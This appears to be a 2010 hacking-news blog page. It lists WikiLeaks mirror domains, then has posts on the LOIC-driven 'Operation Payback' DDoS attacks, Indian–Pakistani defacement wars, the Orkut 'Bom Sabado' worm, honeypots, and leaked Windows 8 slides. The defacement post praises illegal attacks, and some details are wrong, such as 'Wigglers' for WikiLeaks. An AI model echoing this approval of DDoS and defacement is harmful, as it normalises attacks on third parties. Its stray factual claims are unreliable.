wikileaks.gnog.ch	wikileaks.kinderporno.cz ipv6	wikileaks.nonews.net
wikileaks.la-gauche-vsr.ch	wikileaks.mosheff.ru	www.wikilekje.nl
wikileaks.1o5.ch	wikileaks.freekynet.de	wikileaks.peelo.net
wikileaks.azylum.org	wikileaks.shtuchki.biz	wikileaks.darkmoon-studio.com
wikileaks.fisquimia.es	wikileaks.gr-ivanov.com	wikileaks.dwmobil.de
174.142.5.19	wikileaks.systemelibre.fr	wikileaks.xdel.ru
wl.mryoichi.com	wikileaks.acidmonkey.cz	www.wikileaks.adzi.net
wikileaks.elpatibulo.es	wikileaks.bilderbergips.org ipv6	wikileaks.toposerver.es
wikileaks.lapampafestival.de	wikileaks.obeygravity.de	wikileaks.greate.st
wikileaks.yaki-syndicate.de	wikileaks.hausbergadler.de	wikileaks.bernhardluginbuehl.ch
wikileaks.tarikin.com	wikileaks.das-quaddy.de	wikileaks.accessoriesdirect.co.nz
xgfx.ch	wikileaks.antisnatchor.com	wikileaks.kokev21.com
www.janoom.com	wikileaks.fayatux.me	leaked.dyndns.org
wikileaks.bytopia.dk ipv6	wikileaks.obikenobi.eu	wikileaks.googme.eu
wikileaks.lentas.org	wikileaks.liberdadedeexpressao.net	wikileaks.osbg.at
wikileaks.skyhost.bg	wikileaks.sharegroundz.com	wikileaks.viscom3.com
wikileaks.holy.jp	wikileaks.lotheac.fi	wl.qwuh.com
www.beertology.org	wikileaks.euskogeeks.com	wikileaks.thomas-weinbrenner.de
wikileaks.softplaces.net	www.wikileaks.transparency.uni5.net	wikileaks.alienclub.ro
wikileaks.iptunnel.de	64.191.45.85	www.wikileaks.waaromis.nl
wikileaks.freetekno.nl	wikileaks.svhpu.net	mirrorleaks.org
wikileaks.insultconsult.net ipv6	wi.kileaks.net	wikileaks.xiala.net
wikileaks.stekkz.com	wikileaks.valerauko.net	wikileaks.escape-to-space.com
wikileaks.orilla.de	wl.t0g.de	wikileaks.ak-online.be ipv6
wikileaks.qgm.com	wikileaks.ushare.nl	wikileaks.kyak106.com
leak.thehackersedge.com	cablegates.dyndns.org	wikileaks.sisepudo.com.mx
wikileaks.gpljihad.org	wikileaks.0st.org ipv6	wikileaks.rutton.org
wikileaks.sfany.com	wikileaks.server-king.de ipv6	wikileaks.filesplit.us
wikileaks.enfranchisedmind.com	wikileaks.mylawforall.com	wikileaks.piratskapartija.com
www.nachtploeg.eu	wikileaks.lobotomie.org	wl.enneu.net ipv6
wikileaks.piratupartija.lt	wl.8mm.cc	wikileaks.frnxs.net
cablegate.hunko.eu	wikileaks.nachrichtenradio.eu	lksmrrr.dyndns-wiki.com
wikileaks.albavence.com	www.wikileaks-germany.de	wikileaks.spikex.homelinux.net
wikileaks.2gi.de	wikileaks.goliath.nl	wikileaks.srsly-aweso.me
wikileaks.dajla.org	wikileaks.graficautopica.net	wikileaks.komodin.org
wikileaks.barabel.net	wikileaks.ranta.ch	wikileaks.jcserver.net
wikileaks.mantrain.me	wikileaks.geheimdienste.de	wikileaks.yassinetrabelsi.com
wikileaks.thalmannsoftware.com	wikileaks.gwolf.org	wikileaks.silke.in
wikileaks.solidfiles.org	wurst.nl	wikileaks.jaguarhost.com.br
wikileaks.l3b.de	wikileaks.thebuble.org	wikileaks.vanoeffelhaarlem.nl
wikileaks.knifeprty.net	wikileaks.beneth.fr ipv6	wikileaks.entrecartones.com
wlmirror.muehlbachler.org	cables.padonma.com	wikileaks.iamjulianassange.com
wikileaks.kklasen.net ipv6	wikileaks.bryanfarmer.com	www.norbiman.com
wikileaks.strycore.com	wikileaks.x1598.at	wikileaks5.no-ip.org
gg.burble.de	wikileaks.vanleuven.org ipv6	wikileaks.artemisanet.com
wikileaks.j0hnx3r.org	wikileaks.it.ca	wikileaks.bigini.net
wikileaks.ilostmyself.org	wikileaks.nodo50.info	wikileaks.dagams.de
honestgovernment.org.uk	wikileaks.tx-0.org	wikileaks.kowalski-clan.de
wlmirror.co.uk	wikileaks.prof-maad.org	wikileaks.nucleartesuji.com
wikileaks.insecurenet.info	wikileaks.bastok.nl	wikileaks.makat.org
wikileaks.bonzer.it	fallingleaves.dyndns.org	wikileaks.hunstus.de
wleaks.dyndns.biz	www.wikileaks.samp-online.com	wikileaks.whitescreen.se
wikileaks.umatrail.org	wikileaks.the-luckyduck.de	wikileaks.server0.eu
wikileaks.gardmo.se	wikileaks.tux-ie.nl	wlmirror.info
thetruth.dyndns.info	wikileaks.dabax.net	wikileaks.100gartenzwerge.de
www.bsinfotech.net	wikileaks.gpssrbija.com	wikileaks.pkol.de
wl.r15.ch	wikileaks.infinitemedia.nl	wikileaks.podgorny.cz
wikileaks.notsocomplicated.org	wikileaks.deca.cat	wikileaks.seaconflict.com
badeio.wleak.de	wikileaks.last-straw.net	wl.z4k.de
wikileaks.mitov.eu	wikileaks.sshbl.eu	wikileaks.akegata.se
wikileaks.maidireradiomaria.com	imaginaction.eu	wikileaks.gzmod.com
wikileaks.drumandbass.lv ipv6	wikileaks.egroc.de	deletia.org
wikileaks.xsicht.me	irritant.org.uk	wikileaks.sebastianehinger.de
wikileaks.securebydesign.nl	wikileaks.helvetet.com ipv6	wikileaks.hacklabvalls.org
wikileaks.aussieitguy.com	wikileaks.intresseklubben.org	wikileaks.xchatfr.org
46.4.203.216	wikileaks.atreides.ch	wikileaks.not-on.com
wikileaks.glitteringplain.net	wikileaks.die-lega.org	wikileaks.goldrunner.de
wikileaks.goldrunner.de	wikileaks.borntobooze.com	wikileaks.kister.org
wikileaks.plebis.net	wikileaks.emi-area.com	wikileaks.thehash.es
wikileaks.marty.co	cablegate-mirror.dyndns.biz	wikileaks.lenselink.biz
wikileaks.opensomething.org	outpost.fluxzone.net	wikileaks.italy.indymedia.org
www.wikileaks.yopo.es	www.wikileaks.17thad.de	cachee.net
wikileaks.palisades-berlin.de	www.mirror.ch0.in	wikileaks.thefrogz.net
wikileaks.equiv.se	wikileaks.pvane.com	wikileaks.shneeble.com
wikileaksmirror.anarchisthosting.com	wikileaks.tuxamito.com	wikileaks.liberale.at
wikileaks.yeeve.de	wikileaks.lsncdn.net	wikilleaks.dyndns.biz
wikileaks.cloudyks.org	wikileaks.dan.ec	wikileaks.redfoxcenter.org
wikileaks.flax-town.se	wikileaks.liberdadedeexpressao.net	wikileaks.instropy.com
wikileaks.jollymushr0om.de	wikileaks.spacemoo.net	wikileaks.eklind.org
wiki.leaks.org.in ipv6	wikileaks.velotype.nl	wikileaks.fam-debray.de
douze-bis.net	wikileaks.deicio.net	wikileaks.truthispornography.com
wikileaks.fuckitall.nl	wikileaks.pepzi.org	wikileaks.telesletjes.be
wikileaks3.info	wikileaks.kollau.nl	wikileaks.robertpenner.com
wikileaks.frozenhydro.com	wikileaks.etv.cx ipv6	wikileaks.cluster.nu
wl.yaskulka.net	173.52.107.78	wikileaks.pounce.org ipv6
wikileakage.dyndns.org	wikileaks.dwtn.to	wikileaks.qgm.com
wikileaks.frankkalana.com	leaks.communitywerkstatt.com	wikileaks.werpo.com.ar
wikileaks.adminctrl.com	wikileaks.themojave.com	wikileaks.sinsordina.cl
wikileaks.eaclan.net	wikileaks.northernsamizdat.ca	wikileaks.dennismueller.eu
wl.jonnyscholes.com	wikileaks.ip-rebel.ch	wikileaks.triggerdesign.yourweb.de
wl-tdl.ath.cx	wl.lighthomebd.com	wikileaks.dpate.com
wikileaks.kartonnet.co.cc	wikileaks.plentyfact.org	wikileaks.mladina.si
wikileaks.unit2.ca	wikil3aks.info	wikileaks.47chan.net
www.wieselbau.net	wikileaks.dieflieger.net	wl.drecksserver.de
wikileaks.radnode.com	wikileaks.pnuke.de	wikileaks.505.ru
wikileaks.inter.net.my	wl.saymonz.net	wikileaks.thfakenick.net
wikileaks.zworski.com	www.aboutislamabad.com	wikileaks.matsta.de
wikileaks.martystrong.co.uk	wikileaks.quesaben.org	freiheit.ihlowerhoern.de
mirror-wikileaks.de	wikileaks.coderzplaza.com	wikianon12.pcriot.com
wikilix.meilard.fr	wikileaks.otakuturk.com	wikileaks.basilisksolutions.com
wl.nul343.nl	www.wikileaks.infohs.com.br	wikileaks.seotaurus.com
a6k.dyndns.org:80	wikileaks.org.mx	wikileaks.thorx.net
wikileaks.adseen.de	leaksmirror.dyndns.org	wikileaks.dersonic.org
wikileaks.zigg.me	wikileaks.ftp.sh	wikileaks.zdravo.com.mk
wikileaks.outofbounds.nl	wikileaks.skriveleif.com	wl.helden-der-freiheit.de
wikileaks.6m.se	wikleaks.co.cc	wikileaks.oikos.paneidos.net
www.wikileaks-mirror.at	wikileaks.chalgabox.com	leaked.dyndns.info
wikileaks.c0mhost.net	wikileaks.nosgaming.com	178.49.28.209
leaked.no-ip.org	www.wikileaks.antisys.com	wikileaks.kechel.de
wikileaks.xtreme-faulpelz.de	wikileaks.vn.ua	wikileaks.ubs.ath.cx
wikileaks.yankovsky.me	www.wikileakspower.nl	wikileaks.partner.md
wikileaks.christiansson.net	wikileaks.pixur.se	wikileaks.servicetorrent.com
www.markmccoy.org	wl.freecandy.org	chto.info
wikileaks.jofonet.net	wikileaks.therabithole.org	mirrorleak.org
wikileaks.cyberarmy.at	wikileaks.waelelebrashy.com	wikileaks.adeut.es
wikileaks.nischi.ch	wikileaks.adactio.com	wiki.kiwiculture.de
wikileaks.zdravo.com.mk	wl.dasserver.com	wikileaks.wackazong.com
wikileaks.jboettger.de	wikileaks.1upload.de	wikileaks.url-indexer.com
wikileaks.anendhasastart.eu	wikileaks.thingee.net	wikileaks.aigul.com
freedom.fortworthlocksmiths.com	leaks.rheincoach.de	wikileaks.untrusted.de
wikileaks.tweakenl.info	wikileaks.org.rs	wikileaks.olbion.com
wikileaks.w4m.at ipv6	81-89-103-142.blue.kundencontroller.de	freedom.fortworthlocksmiths.com
wikileaks.arza.us	wikileaks.killy.me	wikileaks.dealicanteajapon.com
wikileaks.hjsnetworks.net	wikileaks.maroxrickshaw.com	wikileaks.volksfestplatte.de
wikileaks.halogalaxy.eu	wikileaks.31337.be	wikileaks.gh05tn3t.net
www.wikileaks-mirror.dk	wikileaks.hfbk-hamburg.de	wikileaks.dss-bs.de
wikileaks.enlaondatv.com	wikileaks.flamer-scene.com	wikileaks.hacktivistas.net
wikileaks.malayalarajyam.com	wikileaks.evergreenterrace.de	www.g-zero.net
www.wikileaks.die-nachdenker.de	wikileaks.bloodyweb.com	wikileaks.zebo.co.nz
wikileaks.adinox.ch	wikileaks.energize.cc	wikileaks.hit-repeat.net
leaked.no-ip.info	wikileaks.datensaaten.de	wikileaks.simoncoetzee.com
wikileaks.robintel.org	wikileaks.podc-aster.nl	wikileaks.vjultra.co.uk
wikileaks.one-true.net	wikileaks.scarabel.es	wikileaks.dvonline.co.uk
wikileaks.dragora.net	wikileaks.vakarazinas.lv	www.wikileaks.eitorf-online.com
wikileaks.j1b.net	wikileaks.cbin.pp.ua	bielawa.freecast.pl
wikileaks.biffer.de	wl.g7s.org	wikileaks.datensaaten.de
server2.wlmirror.co.uk	wikileaks.bremenleaks.de	wlmk.dyndns.info
wikileaks.bufta.ch	wikileaks.hostatic.ro	wikileaks.ppuk.me.uk
www.dogta.at	wikileaks.pe	wikileaks.kabo.nu
wikileaks.khemael.net	wikileaks.nerdevice.com.mx	wikileaks.yampe.com
wikileaks.brunz.ch	wikileaks.korwin.tv	wikileaks.planet.ee
www.jtf.at	wikileaks.lez.name	aspaleaks.dyndns.org
wikileaks.codejungle.org	youmaystopthisindividualbutyoucantstopus...	wikileaks.persephoneslair.org
wikileaks.jemag.nl	wikileaks.nowak2000.de	wikileaks.andreas-skoglund.se
wikileaks.phillysaxon.net	wookieleaks.org.uk	wikileaks.annawajda.com
wikileaks.koulen.org	mirrorwiki.dyndns.org	wikileaks.robinhuitenga.nl
wikileaks.democratuur.nl	wikileaks.mahtisoturit.net	wikileaks.spywarelan.se
wl.hetdupke.nl	www.wikileaks.rimeallaf.com	wikileaks.dead7.de
wikileaks.berrysds.org	wikileaks.pirates.ie	wikileaks.metanormal.de
wikileaks.mahtisoturit.net	www.ikkeleaks.com	wikileaks.bjornju.nl
wikileaks.flashdance.cx ipv6	wikileaks.da.ru	sinde.melaco.me
wikileaks.twin-towers-down.de	wikileaks.wof1037.be	wikileaks.tomcisar.at
wikileaks.levelhost.com.br	wikileaks.gagniard.org	wikileaks.blueglowy.com
wikileaks.fsinf.at	wikileaks.antikapitalistische-linke.de	wikileaks.my-xaub9r.de
wikileaks.alterzine.fr	wikileaks.iamkura.com	wikileaks.ok1.ca
wikileaks.kotuha.info	wikileaks.retrojogos.org	praetorian.dynalias.net
wikileaks.gotaweb.com.br	wl.errenovenove.net	wikileaks.lunattidesign.com
wikileaks.vntx.net ipv6	wl.salemlongboarding.org	wikileaks.okhosting.com
w.liansi.org	wikileaks.depthsofmuc.com	wikileaks.ithic.com
dasboot.dyndns.tv	wikileaks.xn--fdr45z90g374a.jp	wikileak8657.dyndns.org
wikileaks.prevalent.de	section9.twilightparadox.com	leaks.manurevah.com
wikileaks.eichruss.ch	wikileaks.skepie.nl	wikileaks.level-10.de
wikileaks.netfreak.ca	wikileaks.starapple.nl	wikileaks.patrickkivits.com
wikileaks.cyrtophora.com	wikileaks.skatalites.net	soviet.jp
wikileaks.trfl0r.de	wikileaks.caffeinator.net	wikileaks.oark.org
wikileaks.andservicesforall.com	wikileaks.dragosgaftoneanu.com	wikileaks.casimir1904.com
wikiliks.ehrepli.mine.nu	wikileaks.mosmo.de	wikileaks.bubele-server.de
wikileaks.guilde-amaterasu.org	wl.nl1.tern.org.nz	wikileaks.kbdw.net
wikileaks.imaginaction.eu	wikileaks.civvic.ro	wikileaks.mbcg.se
wikileaks.redkloud.net	stillalive.ehf-team.es	wikileaks.puddipuddi.ch
wikileaks.lair.cc	wikileaks.linuxmce.org	wikileaks.dabeed.net
wikileaks.function.io	wiki.leaks.es	wikileaks.evoluve.info
wikileaks.s1cness.com	wikileaks.s1cness.com	wikileaks.cmantito.com
wikileaks.whitet.net	wikileaks.bacounis.ch	wikileaks.urpedia.org
wikileaks.bloodredskies.org	wiki.aitn.co.uk	wikileaks.3trust.com
92.233.200.186	www.wikileaks.za.org	wiki.ga-college.org
213.165.84.77	wikileaks.pakkianathans.com	wikileaks.againstthesystem.com
wikileaks.exi5tenz.net	wikileaks.dedonacara.com.br	wikileaks.brauchen.info ipv6
wikileaks.dirkeinecke.de	wikileaks.100x100.lt	wikileaks.holam.hk ipv6
wikileaks.commanders.ch	wikileaks.l0cal.com ipv6	wikileaks.exion.ch
www.wikileaks.xe1jeg.com	wikileaks.teamslack.net	wikileaks.qrios.de
wikihelp.tugatech.com.pt	wikileaks.xnv.nl	wikileaks.hdscript.de
wikileaks.wof1037.be	wikileaks.estou.in	wikileaks.sugarheadfest.org
wikileaks.name-service.de	wl.monkeybit.net	wikileaks.reichsoverheid.nl
wikileaks.star-nova.eu	www.brooklynsbestburgers.com	wikileaks-mirror.zihoster.com
wikileaks.frank-sierra.com	wikileaks.lifeware.ru	w1k1leaks.dyndns.org
wikileaks.freehostia.com	wikileaks.sizoberz.de	parsley.student.utwente.nl
wikileaks.ffwill.homelinux.com	wikileaks.dayscholars.com	wikileaks.tydirium.nl
wikileaks.sativouf.net	wikileaks.rymdlego.se	the-nobody.de
wikileaks.dokterbob.net ipv6	wikileaks.the-nobody.de	www.wikilek.net
www.truthwillwin.net	wikileaks.rilla.es	www.estou.in
wikileaks.khan.su	wikileaks.cglobe.ru	91.192.100.156
wikileaks.doublemarked.com	www.giswald.de	wikileaks.osk4.cz
wikileaks.n3t5ky.nl	www.giswald.de	wl.bananarocker.org
wikileaks.sileht.net	wikileaks2.cz.cc	wikileaks.mindhack.at
wikileaks.lif.at	wikileaks.hashbang.ca	wikileaks.bardoul.nl
wikileaks.njofra.net	wikileaks.faderpc.com	wikileaks.govnorg.ru
wikileaks.ulteemate.com	wikileaks.vahue.org	wikileaks.stableserver.ru
wikileaks.xatrix.org	wikileaks.tiifp.org	wikileaks.essedici.no-ip.org
wikileaks.bobop.co.uk	wikileaks.levelcap.net	france.copyleaks.org
wikileaks.sportsload.cc	www.all-import.de	wikileaks.barrabin.org
www.cablegate.me.uk	www.leaksmirror.com	wikileaks.stusplace.net
wklks.aphru.org	wikileaks.hochstaetter.info ipv6	wikileaks.fanatic.be
shylux.dyndns.org	wikileaks.tensor.gdynia.pl	gchq.eu
wikileaks.kode.co.za	wl.kotlovnica.si	wikileaks.pignouf.fr ipv6
wikileaks.demmserve.co.cc	wikileaks.wikrati.se	wikileaks.enciclopedia.com.pt
wikiservers.net	wikileaks.ateneuabril.org	www.wleaks.es
wikileaks.scribbls.net	wikileaks.zipman.it ipv6	wikileaks.disi.me
wiki.x0r.su	wikileaks.xboxplayer.net	newworld.mooo.com
bieber.lt	www.leakywiki.org	wikileaks.estadolateral.net
wikileaks.netzrasen.de	wikileaks.0st.fr	wikileaks.retro-hosting.co.uk
cablegate.student.utwente.nl	wikileaks.barakotta.com	wikileaks.nuac.org.au
leaks.nadazero.net	wikileaks.pparth.org	wikileaks.v30x.net
wikileaks.insurgen.cc	wikileaks.blindmanstudio.com	wikileaks.cinestecia.com
wikileaks.bordeelsletjes.nl	wikileaks.fitfeed.co.uk	wikileaks.cleverhosting.co.uk
wikileaks.dreamhosters.com	wikileaks.webapse.com	emeraldviewer.sl
leakypipe.moregeneric.com	leakypipe.moregeneric.com	wikileaks.colinaroja.org
wikileaks.rendas.cz ipv6	wikileaks.marpeck.net	wikileaks.criticapura.com
wikileaks.moon-station.us	wikileaks.gmards.com	wikileaks.axdf.net
www.tydirium.nl	wikileaks.gohost.cz	wikileaks.prevalent-digest.de
sukciai.lt	www.wikilek.net	wikileaks.rberet.com
wikileaks.pure64.net	wikileaks.sileht.net	www.meineleaks.net
wikileaks.giwah.it	wikileaks.su.no	wikileaks.beme-it.de
wikileaks.siliconpoetry.com	wikileaks.yopui.com	wikileaks.journalisten.no
wikileaks.ethictoc.org	wikileaksmirror81.no-ip.org	wikileaks.init-0.net
3u.ro	wikileaks.phelix.lv	www.dutchwikileaksmirror.nl
wikileaks.schnypsel.de	wikileaks.tralala.cz.cc	wikileaks.liberation.fr
wikileaks.kubinformatique.fr	wikileaks.onyxias.com	wikileaks.kubinformatique.fr
wikileaks.tyruiop.org	wikileaks.neveleno.ru	wikileaks.dp.ru
wikileaks.dontassrape.us	wikileaks.wetterpirat.de	wikileaks.grupoexis.es
wikileaks.allmarkedup.com	wikileaks.qedx.com	wikileaks.jachenau-tetra.de
wikileaks.prometheus.ie	wikileaks.nebelfetzen.de	wikileaks.ictrocks.nl
wikileaks.goainfected.me	wikileaks.star88.de	wikileaks.live-on-stars.de
wikileaks.21designs.co.uk	wikileaks.itespresso.net	wikileaks.planetame.com
wikileaks.insidenothing.com	wikileaks.mcdinner.de	wikileaks.it-kartellet.dk
wikileaks.flatworld.eu	wikileaks.movimentacaoucs.com.br	wikileaks.zoolink.com
wikileaks.netzarea.de	wikileaks.gaf.at Just one QUESTION, Now what US is gonna do??

Wikileaks: Access Website

2010-12-10T13:32:00.000-08:00

http://213.251.145.96/

above is the direct link, no need of any website name..... just copy and paste it in ur browser thats all.

Hacktivist To Help Wikileaks

2010-12-10T13:17:00.001-08:00

Hackers in support of WikiLeaks have brought down the websites of credit-card giants Visa and MasterCard in the ongoing cyber-war between sympathisers of the whistle-blower site and firms trying to stifle it.

During Christmas season when online shopping is on rise, pro-WikiLeaks activists launched cyber assaults -- code-named "operation payback" -- a few days ago and succeeded in temporarily arresting the websites of Visa, MasterCard, Swiss payment transaction company PostFinance and PayPal.

The centre of their strategy is to cripple these websites by bombarding them with millions of bogus visits. Online retailing giant Amazon reportedly also had to fend off a number of attacks by WikiLeaks' sympathisers on Thursday.

These companies withdrew services from Julian Assange's site after it leaked secret US diplomatic cables, causing major embarrassment for Washington. Wigglers has been using its accounts with these institutions for collecting donations, a major source of the website's income.

CEO of PayPal Osama Beider has admitted that his company closed the whistle-blower's account following pressure from the US government. The cyber attacks are also motivated by the campaigners' anger over the arrest of Assange in London , over alleged sex crimes committed in Sweden.

He is awaiting a hearing in the British capital on whether the site's founder should be extradited to Sweden to stand trial there. The attackers have reportedly temporarily brought down the website of the Swedish government.

Meanwhile, a 16-year-old boy was arrested in the Hague on Wednesday in connection with the attacks. He admitted of participating in the attacks against Visa, MasterCard and PayPal, police have claimed.

Cyber security researchers say the pro-WikiLeaks activists, an alliance of hacker groups Anonymous and 4chan, have been launching their retaliatory attacks through distributed denial of service (DDoS) and most of them were using the Low Orbit Ion Cannon Tool (LOIC).

They brought down the PostFinance website with a LOIC regiment involving around 400 computers, while several thousand of them were needed to cripple the Visa website, according to German computer journal 'ct Magazine'.

'Hacktivists' are building up their army of computers that hackers control remotely (botnet) to launch new attacks, the magazine said quoting security researchers. Till now, their attacks have been launched predominantly by volunteers, who manually control the LOIC, which is an open-source tool.

In the past few days, there has been a surge in demand for the LOIC and thousands of copies were downloaded, indicating that the activists are bracing to intensify their cyber war, experts said.

The supporters of WikiLeaks said in a 'manifesto' that their intension is not to destroy the infrastructure of the concerned organisations, but only to "disturb" their internet presence.

In an appeal on their websites, they have called upon the online community to download the LOIC and join them in their campaign against the websites hampering the work of WikiLeaks.

Indian Hacker V/S Pakistani Hacker

2010-12-06T06:53:00.000-08:00

I am here to write on this topic after a long time, I was almost off from this field but something happened in recent past which made me share my view.

With the term Hacking i guess we have been all familiar about,late last month Indian Hackers paid homage to
the martyrs of India who gave their life in 26/11 by defacing 40 govt. websites, posting their photos and message to pakistani government "a warning against terrorist activity against India".
These defacements were happening from long time, it started near about 2001. Sometime Indian hackers used to hack pakistani government sites, sometimes pakistani hackers used to hack indian sites, but none of them ever made this much news. BUT recent defacement caught fire in media, every body started praising Indian Hackers. But this was not end, Pakistani hackers thought of taking revenge , which they did by defacing 1000+ Indian sites including CBI one, POSTING a aggressive message, showing them that they can deface 1000 + websites, probably ling to their own people that even they can deface. But being frank defacement can be even carried out by 10 yr old guy, which was proven by ICA by defacing more than 1000+ pakistani sites very next day telling them who is daddy here.

But point worth noting here was that ICA guys were able to hack the pakistancyberarmy.net(PCA) the group responsible for defacing 1000+ websites, while PCA was like sitting ducks.

In this short period of cyber war between India and pakistan, Indian hackers have scored on their behalf, while pakistai hackers have yet to be, but it will be foolishness to think that pakistani hackers are incapable, probably real ones havenot even shown their face, and same is the case with Indian Hackers, probably members of the group called ICW, Indian Snake, YAHA are out of seen.
So, it can be considered as very low level of cyber war, which might get fierce in coming future, probably when India and Pakistan will fight in battlefield , and their hackers will fight in Cyber Space to show their supremacy.

BOM SPADO PROBLEM .................................. in ORKUT

2010-09-25T04:19:00.000-07:00

Today in morning i saw every account was posting scrap some thing like bomb amungu or Bom Sabado.

And thos who all are reading this scrap even in their profile, their cookies are also stoled and so they are also posting scrap automatically to their friend list same scrap as bomb something like :(

The script is runnign on and also in status of profile their flag is coming. i mean status are automatically updated in some profile. Its their flag of Brazil. Already Google team are working on it.

By the Bom Sabado means Good Saturday

Currently what u should do is
Solutions:-
Follow these steps:

1. Immediately change your password and security question{ including secondary email and mobile number if they also got changed.) This will solve the problem.

2. Find out whether some communities has been joined automatically. if yeah, do remove them.

3. If your account has been completely hacked, see here:

http://www.google.com/support/forum/p/orkut/thread?tid=39fa418ed1162078&hl=en
4. Always remember these points :

4.1 Donot ever login to any site rather than www.orkut.com

4.2 Donot ever run any javascripts while logged into your orkut account

4.3 Never use any flooder in your account

4.4 Donot ever share your password with anyone else and keep changing your password regularly.

4.5 Donot ever click suspicious link while logged into Orkut a/c. if you are curious you can copy the link and check them in
other browser after cleaning it's browser's cookie and cache.

4.6 Donot ever install any suspicious script on greasemoneky and ALWAYS DIABLE THE GM before logging in to orkut.

4.7 Do your mobile verification also, so that you can get back your a/c if hacker doesn't change the mobile number there.
http://www.orkut.co.in/Main#MobileSetupSettings

4.8 Install a good Update Ant ivirus and Anti Key logger and keep your system free from Key loggers and backdoor trojans.

4.9 Use Virtual Keyboard to enter your password for more securite. KIS 2010 provides it and there are many other V.
keyboards available.

Take a look here and follow the points given to protect your a/c:
http://www.google.com/support/orkut/bin/answer.py?hl=en&answer=57442
and
http://www.google.com/support/orkut/bin/answer.py?hl=en&answer=48579
hope this helps you...;)

happy Orkutting..

HONEY POT: Hack Hackers

2010-07-08T15:07:00.000-07:00

What is HoneyPot??
In layman terms we can say it is a trap set by the administrators for the hackers, to fool them or to make them believe that they are hacking into admins system, but instead of that hackers are getting hacked by the admin.

How does this work??
This works by presenting the hackers a foul scenario where , hacker thinks that he is penetrating into the system but instead, he is going no where except he is playing in the world created by the admins. By doing so, admins are able to check all the malicious activity of the hackers like what all ports hackers are trying to connect, what files they are trying to upload, which all sections they are trying to access.

HonyPot is mainly designed to trap the hackers, or present a virtual system to the hackers which never exists.

Technically, Honeypot tries to listen to all the ports on the system, and whenever hacker tries to port scan the system, it gets a list of open ports which he thinks is open but actually, it is the opened port which is shown by the honeypot behind the firewall, so when ever hacker tries to access some random port say 100, then he is accessing the honeypot not the system,

Above scenario can be visualised better: Install a VM ware on a system and run any low version of windows or linux on it with all ports open, and port forward those ports on the host system, so when ever hacker tries to fingerprint or try to do port scan, then he will be gettng info about the VM ware not the host system, hacker may be able to penetrate into the VM ware OS, but our HOST OS remains safe.

But there are mainly deficulty in doing the above job , so special application is created called HONEYPOT to do this job and many other jobs like tracking of packets, file access etc.

There are mainly 3 types of honeypots available:
1.Small: Mainly keeps the log of ip-address which are trying to access your system alongwith the port
2.Medium: Its functionality is little advanced, keeping track of files accessed, time-period, hosts etc.
3.Large: It provides all the functionality, but the main feature of these kind of Honeypots are security feature, these can simulate virtual os for the outsiders or hackers very well.

In this article I am going to give the example of HoneyPot of small scale for Windows.
HoneyPots are available both on commercial platform and also as open source, I am taking the example of KFsensor which is freely available here.
STEP 1: Download the KFSENSOR and winpcap from their website and install them
STEP 2: Restart your system, start winpcap server from the folder menu where it is saved mainly in c:\ drive
STEP 3: Start KFsensor, do as promted in the window , it is mainly for the configuring of your new HONEYPOT.
STEP4: Done, keep your system up for the packets scanning.

Here in above picture u can see some port numbers are striked out, because you need to restart the system, then start your honeypot, then internet connection, else these ports will be used by net connection first, then this honeypot willnot be able to access these ports, hence no information gathering will be possible.
======================================================================
We can also create our small honeypot whose main function is to check for the incoming packets.......
It is nothing but the basic client-server program which listens on all port.

Within minutes of intallation of this small honeypot i got the scanning alert sound, when checked these were the UDP packets mainly left over the internet for scanning of hosts........ hmm nice experience

How much Secure is Facebook

2010-07-06T21:35:00.000-07:00

Not long back, Twitter was hacked , alongside sharing the same fate with Google China. All went on blame game, but facebook went for something different to be a one step ahead from all, When everyone was busy in finding and accusing the culprits, facebook was enhancing the security.
In order to avoid the shame like of google, twitter and other IT giants, Facebook security engineers challenged their own selected few engineers to hack into the account , and gain admin previledge, they were free to do whatever test they need to run, and where ever they need to do.

After a couple weeks, the team of employees had, indeed, hacked into the admins personal Facebook account. By hacking his home network with a rogue WiFi SSID, the team was able to get several of his usernames and passwords. It’s impressive that they were able to hack into the account of a site engineer who not only knew it was coming, but arranged for its coming.

But as bad as that sounds, it really isn’t. Because while the employees-turned-hackers were able to get into Keyani’s personal account, they were not able to access the administration functions of the site, which was the real goal of the exercise. In the comments of TechCrunch’s story — which initially spun the hack as more of a straight-up success — Keyani responded. The response included this clarification:

I’m the engineer who made the challenge and I want to clear up some

misunderstandings. First, we perform tests on the integrity and security of

our site all the time. Second, in this particular case, the challenge

demonstrated the effectiveness of Facebook’s security systems, not the

opposite, Despite months of work and hundreds of hours of effort by a team

of specialized security engineers, the team was NOT able to access

Facebook’s administrative or corporate systems. While they were able to

access my personal Facebook account, they were not able to use this

information to access any other account on Facebook. Finally, challenges

like this are a great way for us to apply our best thinking and skills to

identify risks to our systems. We think our efforts should give users

greater confidence in Facebook and its administrative systems, not less.

Windows 8 Plans Leaked: Disclosure and slides

2010-07-01T05:22:00.000-07:00

A big thanks to @floo1989 for the heads-up! Over the weekend, the Italian Windows site “Windowsette” got a hold of some super secret squirrel Microsoft presentations apparently laying around on the internet somewhere. I took a look through every single one of these, slide-by-slide, so I’m quite confident these are the real deal. I just feel bad for the poor sap who either leaked these or inadvertently shared these with the world. Long story short, these slide decks are chock full of internal thinking on Windows 8 — everything from customer target audiences to the Windows 8 developer market to the Windows 8 product cycle and much, much more. As a preface, I’ve taken many screen shots of relevant slides for inclusion with this article, so click on them to see their full-sized versions. I’ll elaborate on some and allow the others to explain themselves. Lastly, I’ll be updating this post as I find more contained within the slide decks. Now, without further adieu, let’s get started!

Microsoft Looks to Apple

Included in these presentations is a rather telling (but obvious) slide which shows that Microsoft is clearly paying attention to Apple while planning Windows 8. Titled, “How Apple does it: A virtuous cycle,” Microsoft has broken down Apple’s UX/Brand Loyalty cycle and cited its value. Though it’s fairly obvious, the takeaway here is that Microsoft is aiming to give Windows the very same “it just works” status that Apple’s products are known for:

Windows 8 Prototype Machine

Speaking of Apple, I think the following prototype looks like some rejected Mac prototype (i.e. I don’t like it very much — at least from this angle). The wallpaper is the old Windows 7 beta wallpaper (as you can see by the beta fish in the center of it) and there is clearly some build information on the bottom right-hand corner of the desktop. This may well be something left over from Windows 7 planning, but being included in Windows 8 planning documentation, I figured it was worth tossing in. Here’s the machine and below it, its specifications:

Windows 8 Product Cycle

The following slide isn’t too telling in and of itself, but it serves to show how Microsoft has chosen to divide its Windows 8 product cycle into 3 main phases:

Planning (from Framing to Vision): Big picture thinking, themes then scenarios, and feature identification list.
Development (from Vision to Beta): Design and build features, refine SKUs (shelf-keeping units) and value propositions, and begin sharing code.
Readiness (from Beta to GA+90): Feature complete and bug-fixing, establish and track readiness metrics, and focus on creating great Dell + Windows experiences.

